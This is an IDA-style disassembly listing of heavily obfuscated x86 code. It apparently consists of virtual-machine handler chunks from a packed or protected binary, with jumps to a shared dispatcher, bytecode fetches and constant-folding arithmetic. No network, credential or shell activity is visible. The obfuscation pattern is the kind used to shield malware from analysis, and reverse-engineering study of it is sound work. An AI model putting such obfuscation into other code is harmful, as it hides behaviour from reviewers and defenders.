; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_58E099:				; CODE XREF: sub_5985AE+2j
		mov	edi, esp
		add	edi, 4
		jmp	loc_59260B
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590CC3


loc_58E0A6:				; CODE XREF: sub_590CC3+53D4j
		mov	[esp+8+var_8], eax
		mov	eax, 14FB5CC3h
		xor	eax, 14FB5CEFh
		push	eax
		add	[esp+0Ch+var_C], 4B4557B3h
		pop	ebx
		sub	ebx, 4B4557B3h
		pop	eax
		mov	ecx, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_596426
; END OF FUNCTION CHUNK	FOR sub_590CC3
; ---------------------------------------------------------------------------


loc_58E0CD:				; CODE XREF: sdfs____:00595A47j
		pop	ebx
		push	eax
		push	ebx
		mov	bl, 92h
		mov	al, 0CFh
		xor	al, bl
		jmp	loc_58DC1A
; ---------------------------------------------------------------------------


loc_58E0DB:				; CODE XREF: sdfs____:00595B71j
		xchg	edx, [esp]
		jmp	loc_58EDF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58E0E3:				; CODE XREF: sub_5962EB-216Cj
		jmp	loc_5946E4
; ---------------------------------------------------------------------------


loc_58E0E8:				; CODE XREF: sub_5962EB-95F0j
		push	edx
		push	esp
		pop	edx
		jmp	loc_5930FF
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596F8A


loc_58E0F0:				; CODE XREF: sub_596F8A-6873j
		push	esp
		pop	edi
		jmp	loc_58F7DF
; END OF FUNCTION CHUNK	FOR sub_596F8A
; ---------------------------------------------------------------------------


loc_58E0F7:				; CODE XREF: sdfs____:0058F08Ej
		neg	esi
		sub	esi, 0C5E70D2Fh
		add	ebp, esi
		pop	esi
		add	edi, ebp
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_5928CD
; ---------------------------------------------------------------------------


loc_58E114:				; CODE XREF: sdfs____:00595DDAj
		mov	eax, 75562F6Ah
		jmp	loc_596D75
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58E11E:				; CODE XREF: sub_591370+6393j
		add	esp, 4
		mov	edx, edi
		pop	edi
		add	edx, edi
		push	3B70h
		mov	[esp-14h+arg_10], eax
		mov	eax, 2E0D59B4h
		jmp	loc_58EE77
; ---------------------------------------------------------------------------


loc_58E13B:				; CODE XREF: sub_591370-F2Dj
		pop	edx
		push	2193h
		jmp	loc_5982B5
; END OF FUNCTION CHUNK	FOR sub_591370

; =============== S U B	R O U T	I N E =======================================



sub_58E146	proc near		; CODE XREF: sub_5985AE-6E74j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058D188 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D5DD SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0059098B SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005913E8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059321D SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_5913E8
sub_58E146	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_58E151:				; CODE XREF: sub_596736-7CC6j
		sub	eax, ecx
		pop	ecx
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		jmp	loc_593FB0
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------


loc_58E168:				; CODE XREF: sdfs____:00591C8Dj
		pop	ebx
		mov	cx, [esp]
		add	esp, 2
		sub	al, 8Ah
		sub	al, bl
		push	edx
		jmp	loc_591AC7
; ---------------------------------------------------------------------------


loc_58E17A:				; CODE XREF: sdfs____:00594F50j
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		push	297Dh
		mov	[esp], ebx
		mov	ebx, 38h
		sub	ebx, 627250BFh
		add	ebx, edi
		add	ebx, 627250BFh
		push	edx
		mov	edx, 0
		add	edx, ebx
		push	ebx
		jmp	loc_595F92
; ---------------------------------------------------------------------------


loc_58E1B0:				; CODE XREF: sdfs____:0059282Fj
		mov	edx, [esp]
		add	esp, 4
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	[esp], al
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58E1CB:				; CODE XREF: sdfs____:00595933j
		pop	ecx
		xor	ebx, [esp]
		jmp	loc_595371
; ---------------------------------------------------------------------------


loc_58E1D4:				; CODE XREF: sdfs____:00591B91j
		push	0E9Ah
		mov	[esp], edx
		mov	edx, 0
		sub	edx, ebp
		xchg	edx, ebp
		jmp	loc_58C564
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58E1EA:				; CODE XREF: sub_591435-21CAj
		xor	ch, al
		pop	ax
		add	al, ch
		pop	ecx
		add	al, 1
		sub	al, bl
		sub	al, 1
		sub	al, 0C4h
		pop	ebx
		push	edx
		mov	dh, 9Bh
		xor	dh, 38h
		shr	dh, 5
		push	small 57B7h
		mov	word ptr [esp+14h+var_14], ax
		mov	al, 8Eh
		sub	dh, 4Eh
		add	dh, 78h
		sub	dh, al
		sub	dh, 78h
		add	dh, 4Eh
		jmp	loc_59610A
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58E220:				; CODE XREF: sub_594228-39C4j
		mov	ebx, 6C594D1Dh
		jmp	loc_58F9BB
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		push	1B45h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_590705
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58E243:				; CODE XREF: sub_591435+69C9j
		mov	eax, 1B370654h
		jmp	loc_594530
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58E24D:				; CODE XREF: sub_5987BC-BC49j
		xchg	eax, edi
		xor	[esp-4+arg_0], eax
		xor	eax, [esp-4+arg_0]
		xor	[esp-4+arg_0], eax
		jmp	loc_58F217
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_58E25C:				; CODE XREF: sub_5917C0-2E9Bj
		pop	edi
		push	ebx
		jmp	loc_58FAF2
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_58E263:				; CODE XREF: sub_59587A+2AA4j
		add	ebp, 0C5B3D51h
		push	edx
		mov	edx, 0EEE9D2AFh
		add	ebp, edx
		pop	edx
		push	ebp
		pop	ecx
		jmp	loc_594808
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_58E279:				; CODE XREF: sdfs____:005906F5j
		push	ecx
		mov	ecx, 4
		jmp	loc_58E60A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_594C28
; ---------------------------------------------------------------------------


loc_58E28D:				; CODE XREF: sdfs____:0058F100j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58E2CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58E2A4:				; CODE XREF: sub_591435-18C5j
		xchg	eax, [esp+0Ch+var_C]
		jmp	loc_591AB3
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_58E2AC:				; CODE XREF: sub_598A21+1j
		mov	ebp, 1FEC2E87h
		and	ebp, 5E1E28E9h
		shr	ebp, 8
		jmp	loc_591E08
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------


loc_58E2BF:				; CODE XREF: sdfs____:0058EA91j
		inc	ebp
		sub	esp, 4
		jmp	loc_5989F8
; ---------------------------------------------------------------------------


loc_58E2CB:				; CODE XREF: sdfs____:0058E29Fj
		mov	[esp], cx
		mov	ch, 0E3h
		push	dx
		mov	dh, 0Dh
		push	ecx
		mov	ch, 0A1h
		inc	ch
		and	ch, 0C9h
		neg	ch
		xor	ch, 0BCh
		xor	ch, 0Eh
		add	al, ch
		pop	ecx
		add	al, dh
		sub	al, 32h
		pop	dx
		sub	al, 0A5h
		sub	al, ch
		add	al, 0A5h
		sub	esp, 2
		mov	[esp], dx
		jmp	loc_5946E4
; ---------------------------------------------------------------------------


loc_58E303:				; CODE XREF: sdfs____:00596061j
		add	edx, edi
		pop	edi
		push	ebx
		mov	ebx, 4E603423h
		jmp	loc_59436B
; ---------------------------------------------------------------------------


loc_58E311:				; CODE XREF: sdfs____:005952A3j
		shl	ebx, 2
		jmp	loc_597A7D
; ---------------------------------------------------------------------------


loc_58E319:				; CODE XREF: sdfs____:0058C231j
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	edx
		push	ecx
		jmp	loc_5940C9
; ---------------------------------------------------------------------------


loc_58E32B:				; CODE XREF: sdfs____:00596D70j
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_58DC08
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3803h
		jmp	loc_58E97C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58E347:				; CODE XREF: sub_5962EB-4A35j
		and	eax, 0C6F22DFh
		jmp	loc_5983AD
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BDAA


loc_58E351:				; CODE XREF: sub_58BDAA+F13j
		pop	ebp
		push	ebp
		mov	ebp, esp
		jmp	loc_591FD9
; END OF FUNCTION CHUNK	FOR sub_58BDAA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58E35A:				; CODE XREF: sub_594228-4B80j
		or	esi, 5B632F5Bh
		jmp	loc_5940E2
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58E365:				; CODE XREF: sdfs____:005932B7j
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		bswap	eax
		push	2CB1h
		mov	[esp], eax
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58E37C:				; CODE XREF: sub_591435-411j
		push	4
		push	[esp+14h+var_14]
		pop	ecx
		jmp	loc_596E4A
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_58CBF1
; ---------------------------------------------------------------------------


loc_58E390:				; CODE XREF: sdfs____:0059345Fj
		xor	ebp, ecx
		xor	ecx, ebp
		dec	ebp
		xchg	ebp, ecx
		sub	ecx, 57471FF8h
		jmp	loc_592C3E
; ---------------------------------------------------------------------------


loc_58E3A2:				; CODE XREF: sdfs____:0059736Aj
		mov	ecx, [esp]
		jmp	loc_5957AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58E3AA:				; CODE XREF: sub_594228+3608j
		push	dword ptr [edi+eax*4]
		jmp	loc_58C3DE
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58E3B2:				; CODE XREF: sdfs____:0058C114j
		sub	esi, ebp
		pop	ebp
		add	ebx, esi
		jmp	loc_58EC07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58E3BC:				; CODE XREF: sub_59841F-B487j
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		pop	esp
		sub	[esp-4+arg_0], eax
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_58E3CF:				; CODE XREF: sdfs____:0058E444j
		sub	eax, ebp
		pop	ebp
		jmp	loc_58CA6A
; ---------------------------------------------------------------------------


loc_58E3D7:				; CODE XREF: sdfs____:0058DA82j
					; sdfs____:00594E47j
		neg	eax
		push	edx
		mov	edx, 488764Ch
		not	edx
		jmp	loc_590AB1
; ---------------------------------------------------------------------------


loc_58E3E6:				; CODE XREF: sdfs____:0058D14Cj
		xor	edi, 0DE1C581Fh
		jmp	loc_5911DD
; ---------------------------------------------------------------------------


loc_58E3F1:				; CODE XREF: sdfs____:00596757j
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58E408:				; CODE XREF: sdfs____:005924B0j
		pop	eax
		push	ecx
		push	3BFDh
		jmp	loc_591353
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58E41C:				; CODE XREF: sub_591370-4F97j
		sub	bh, 57h
		jb	loc_594D19
		jmp	loc_594254
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590CC3


loc_58E42A:				; CODE XREF: sub_590CC3+5787j
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		push	3BCCh
		mov	[esp+0], eax
		jmp	loc_58BD13
; END OF FUNCTION CHUNK	FOR sub_590CC3
; ---------------------------------------------------------------------------


loc_58E43E:				; CODE XREF: sdfs____:00591945j
		xor	ebp, 3262DFDDh
		jmp	loc_58E3CF
; ---------------------------------------------------------------------------


loc_58E449:				; CODE XREF: sdfs____:0058C082j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597CE3


loc_58E44E:				; CODE XREF: sub_597CE3-4CBj
		mov	eax, [esp+0]
		add	esp, 4
		jmp	sub_591435
; END OF FUNCTION CHUNK	FOR sub_597CE3
; ---------------------------------------------------------------------------


loc_58E45C:				; CODE XREF: sdfs____:0058BD83j
					; sdfs____:0058BE8Ej
		push	edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 6A7C2D23h
		and	ecx, 7FDC2ACDh
		neg	ecx
		sub	ecx, 95A3D7FBh
		add	edi, ecx
		pop	ecx
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		add	eax, ebx
		push	edi
		jmp	loc_596B3A
; ---------------------------------------------------------------------------


loc_58E48B:				; CODE XREF: sdfs____:0059239Aj
		not	esi
		add	esi, 0D422F9B5h
		jmp	loc_5988F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58E498:				; CODE XREF: sub_594228:loc_58CD7Ej
		jmp	loc_59349D
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58E49D:				; CODE XREF: sdfs____:0058BB76j
		push	ebx
		jmp	loc_5963A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_58E4A3:				; CODE XREF: sub_59214E-4352j
		mov	eax, [esp+0]
		jmp	loc_596869
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_58E4AB:				; CODE XREF: sub_5987BC-F69j
		add	al, 0AFh
		add	al, dh
		sub	al, 0AFh
		mov	edx, [esp-4+arg_0]
		jmp	loc_58DC3F
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58E4B9:				; CODE XREF: sub_591435+330Ej
		sub	edx, edi
		pop	edi
		add	ebx, 1621FAFh
		sub	ebx, edx
		sub	ebx, 1621FAFh
		mov	edx, [esp+0Ah+var_C+2]
		add	esp, 4
		push	dword ptr [ebx]
		xor	[esp+0Ah+var_C+2], 3E597BDFh
		pop	ecx
		jmp	sub_58BDAA
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59377D


loc_58E4E2:				; CODE XREF: sub_59377D+2ABFj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esi
		push	ebp
		push	eax
		mov	eax, 1
		mov	ebp, eax
		pop	eax
		push	ebp
		push	esi
		jmp	loc_591DD8
; END OF FUNCTION CHUNK	FOR sub_59377D
; ---------------------------------------------------------------------------


loc_58E508:				; CODE XREF: sdfs____:005920FDj
		mov	edx, [esp]
		jmp	loc_594DB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_58E510:				; CODE XREF: sub_594F18-1E93j
		or	eax, eax
		jz	sub_596F8A
		push	dword ptr [edi+1Ch]
		jmp	loc_5948B3
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------


loc_58E520:				; CODE XREF: sdfs____:00598CE3j
		push	eax
		mov	al, 0CEh
		jmp	loc_598D58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58E528:				; CODE XREF: sub_594228+3A6Fj
		add	dword ptr [ebx], 1
		mov	ebx, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_596678
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58E539:				; CODE XREF: sdfs____:00594162j
		sub	esp, 4
		mov	[esp], ebp
		push	165Bh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		push	4
		mov	esi, [esp]
		add	esp, 4
		add	ebp, 26EA6597h
		add	ebp, esi
		sub	ebp, 26EA6597h
		jmp	loc_594CA8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58E579:				; CODE XREF: sub_5962EB-E5Dj
		pop	ebx
		jmp	loc_595CCA
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_58E57F:				; CODE XREF: sdfs____:00592914j
		add	edx, 4
		jmp	loc_592E0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58E58A:				; CODE XREF: sub_591370+2EF4j
		inc	ch
		push	eax
		jmp	loc_592159
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58E592:				; CODE XREF: sdfs____:0058F1F7j
		pop	esp
		jmp	loc_597DA9
; ---------------------------------------------------------------------------


loc_58E598:				; CODE XREF: sdfs____:0058FFAFj
		add	edi, esi
		pop	esi
		pop	esi
		add	edi, 2
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		btc	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_58E5BF:				; CODE XREF: sub_5962EB-53F1j
		mov	ecx, esp
		push	esi
		mov	esi, 6ADC7F80h
		and	esi, 63445454h
		jmp	loc_58CB0E
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_58E5D2:				; CODE XREF: sdfs____:00593937j
		pop	ecx
		xchg	ebx, [esp]
		pop	esp
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_59015A
; ---------------------------------------------------------------------------


loc_58E5E0:				; CODE XREF: sdfs____:loc_5950BBj
		add	edi, 24EF4273h
		jmp	loc_596E9B
; ---------------------------------------------------------------------------


loc_58E5EB:				; CODE XREF: sdfs____:0059570Bj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59255C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58E5FC:				; CODE XREF: sub_591370+D2Aj
		push	edx
		push	edi
		push	ebx
		jmp	loc_58D728
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58E604:				; CODE XREF: sdfs____:00598977j
		pop	esp
		jmp	loc_595EC8
; ---------------------------------------------------------------------------


loc_58E60A:				; CODE XREF: sdfs____:0058E27Fj
		add	eax, ecx
		pop	ecx
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_591032
; ---------------------------------------------------------------------------


loc_58E61B:				; CODE XREF: sdfs____:0058ED89j
		add	ecx, 2F8E1074h
		sub	ecx, 22CC0ED8h
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_5920BD
; ---------------------------------------------------------------------------


loc_58E634:				; CODE XREF: sdfs____:00593B3Ej
		push	edi
		mov	edi, 0AD47462h
		add	esi, edi
		pop	edi
		pop	edi
		push	ebx
		jmp	loc_598211
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA0A


loc_58E644:				; CODE XREF: sub_58FA0A+Dj
		push	esi
		mov	esi, ebx
		push	esi
		pop	edx
		jmp	loc_59171D
; END OF FUNCTION CHUNK	FOR sub_58FA0A
; ---------------------------------------------------------------------------


loc_58E64E:				; CODE XREF: sdfs____:0058E78Aj
		pop	edx
		jmp	loc_591E31
; ---------------------------------------------------------------------------


loc_58E654:				; CODE XREF: sdfs____:0058FE68j
		mov	edx, esp
		jmp	loc_592DC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591AD9


loc_58E65B:				; CODE XREF: sub_591AD9+5FDEj
		pop	esp
		and	eax, ebp
		jmp	loc_58F486
; END OF FUNCTION CHUNK	FOR sub_591AD9
; ---------------------------------------------------------------------------


loc_58E663:				; CODE XREF: sdfs____:0058D541j
		neg	ebp
		jz	loc_58BE94
		inc	ebp
		jl	loc_58F4A6
		add	ebp, 427711B7h
		jmp	loc_598397
; ---------------------------------------------------------------------------
		push	eax


loc_58E67E:				; CODE XREF: sdfs____:00597712j
		pop	ebp
		jmp	loc_58BC3C
; ---------------------------------------------------------------------------


loc_58E684:				; CODE XREF: sdfs____:00595DA6j
		add	[esp+4], esi
		pop	esi
		pop	eax
		push	ecx
		jmp	loc_590EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58E690:				; CODE XREF: sub_591435:loc_59036Fj
		xor	eax, 9C578ACBh
		jmp	loc_5982AD
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_58E69A:				; CODE XREF: sdfs____:0058FD11j
		pop	eax
		add	eax, 0E85ECE7h
		add	edi, eax
		jmp	loc_593C60
; ---------------------------------------------------------------------------


loc_58E6A7:				; CODE XREF: sdfs____:00591C4Bj
		sub	bh, ah
		sub	bh, 34h
		mov	eax, [esp]
		add	esp, 4
		sub	al, 0E1h
		add	al, bh
		add	al, 0E1h
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	ebx
		mov	bh, 0D9h
		jmp	loc_598560
; ---------------------------------------------------------------------------


loc_58E6CD:				; CODE XREF: sdfs____:00591154j
		mov	edx, 62E2593Bh
		sub	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edi, edx
		jmp	loc_597932
; ---------------------------------------------------------------------------


loc_58E6E4:				; CODE XREF: sdfs____:0058EEE7j
		btc	[esp], ax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_58E6EF:				; CODE XREF: sdfs____:0058FAEDj
		add	esp, 4
		push	ebx
		mov	ebx, 2BB44B72h
		neg	ebx
		dec	ebx
		add	ebx, 638333DDh
		xor	ebx, 9DB253Ch
		jmp	loc_58D19A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58E70C:				; CODE XREF: sub_594228-30F6j
		push	[esp+1Ah+var_1C+2]
		pop	edi
		add	esp, 4
		jmp	loc_596299
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_58E718:				; CODE XREF: sdfs____:0058C700j
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 2
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		pop	esp
		jmp	loc_594362
; ---------------------------------------------------------------------------


loc_58E732:				; CODE XREF: sdfs____:005980EBj
		push	edi
		mov	edi, 0C8DF4975h
		sub	eax, edi
		pop	edi
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_58E8C7
; ---------------------------------------------------------------------------


loc_58E748:				; CODE XREF: sdfs____:00593A92j
		push	5E17h
		mov	[esp], ebp
		mov	ebp, 4
		push	edi
		mov	edi, 2C432F23h
		sub	eax, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	eax, ebp
		add	eax, 2C432F23h
		pop	ebp
		push	65A9h
		mov	[esp], edx
		mov	edx, 2
		add	eax, edx
		jmp	loc_58E64E
; ---------------------------------------------------------------------------


loc_58E78F:				; CODE XREF: sdfs____:0058CE7Fj
		xor	edi, 0C5E3BB8h
		jbe	loc_593D98
		and	edi, 7ECA5944h
		jmp	loc_5950BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58E7A6:				; CODE XREF: sub_59841F-7D46j
		shr	edi, 3
		js	loc_58BADF
		dec	edi
		jge	loc_58E8B0
		not	edi
		inc	edi
		jo	loc_5987F3
		push	esp
		lodsb
		xor	al, bl
		sub	esp, 2
		mov	word ptr [esp+8+var_8],	dx
		mov	dl, 4Bh
		add	al, 9Ah
		jmp	loc_590CBC
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_58E7D3:				; CODE XREF: sub_591370+4BC7j
		sub	eax, 517346D1h
		jmp	loc_5910FC
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_58E7DD:				; CODE XREF: sdfs____:00595FB7j
		mov	dh, 3Fh
		add	al, 0DEh
		add	al, dh
		sub	al, 0DEh
		pop	edx
		add	bl, al
		pop	eax
		sub	bl, 0B1h
		add	bl, al
		jmp	loc_598CDB
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 48D51614h
		sub	eax, 0AE64377h
		push	ebx
		mov	ebx, 600B0C39h
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		add	ebx, 5F026DB6h
		sub	ebx, 45BE0536h
		add	ebx, 8936BBBDh
		sub	eax, 74064C17h
		jmp	loc_58BDF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_58E826:				; CODE XREF: sub_59576E-709j
		add	ebp, eax
		add	ebp, 542580Eh
		jmp	loc_58FDA2
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------


loc_58E833:				; CODE XREF: sdfs____:00597910j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_5973DC
; ---------------------------------------------------------------------------


loc_58E847:				; CODE XREF: sdfs____:0059409Fj
		lodsd
		push	ebp
		mov	ebp, 5ADD3732h
		add	eax, 1D103E89h
		add	eax, ebp
		sub	eax, 1D103E89h
		pop	ebp
		push	edi
		mov	edi, 0A257855h
		shr	edi, 8
		or	edi, 64E506BFh
		jmp	loc_5984D6
; ---------------------------------------------------------------------------


loc_58E86F:				; CODE XREF: sdfs____:00598621j
		or	ebp, edi
		jmp	loc_58C4EB
; ---------------------------------------------------------------------------


loc_58E876:				; CODE XREF: sdfs____:00591C00j
		add	edi, ecx
		pop	ecx
		push	esi
		mov	esi, 2C2850A4h
		inc	esi
		jg	loc_593FFA
		or	esi, 280B0083h
		add	al, 0A7h
		mov	ecx, eax
; START	OF FUNCTION CHUNK FOR sub_591435


loc_58E890:				; CODE XREF: sub_591435-5494j
		mov	esi, 134A7C81h
		or	esi, 16214C3Fh
		sub	esi, 4A1C4C4Fh
		add	esi, 0A2F6F7EAh
		sub	ebp, esi
		pop	esi
		push	ecx
		jmp	loc_5961BE
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_58E8B0:				; CODE XREF: sub_59841F-9C6Fj
		not	edi
		inc	edi
		jo	loc_59792D
		jmp	loc_58CD3E
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------


loc_58E8BE:				; CODE XREF: sdfs____:00593D27j
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_5958F4
; ---------------------------------------------------------------------------


loc_58E8C7:				; CODE XREF: sdfs____:0058E743j
		add	eax, ebp
		pop	ebp
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 9477A3Ah
		push	edx
		jmp	loc_58F98C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_58E8EC:				; CODE XREF: sub_594228+1416j
		push	833h
		mov	[esp+1Ah+var_1C+2], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		jmp	loc_594ED9
